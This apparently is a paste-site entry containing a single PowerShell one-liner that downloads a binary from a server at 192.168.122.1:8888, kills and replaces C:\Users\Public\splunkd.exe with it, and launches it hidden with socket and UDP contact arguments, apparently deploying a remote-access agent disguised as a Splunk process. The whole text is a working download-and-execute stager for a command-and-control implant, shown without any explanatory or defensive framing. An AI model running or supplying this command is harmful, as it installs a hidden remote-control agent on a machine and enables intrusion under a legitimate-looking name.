Untitled
unknown
plain_text
7 months ago
690 B
4
Indexable
Never
if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};$server="http://192.168.122.1:8888";$socket="0.0.0.0:7011";$contact="udp";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","manx.go");$data=$wc.DownloadData($url);Get-Process | ? {$_.Path -like "C:\Users\Public\splunkd.exe"} | stop-process -f -ea $ErrAction;rm -force "C:\Users\Public\splunkd.exe" -ea $ErrAction;([io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe",$data)) | Out-Null;Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList "-socket $socket -http $server -contact $contact" -WindowStyle hidden;
Leave a Comment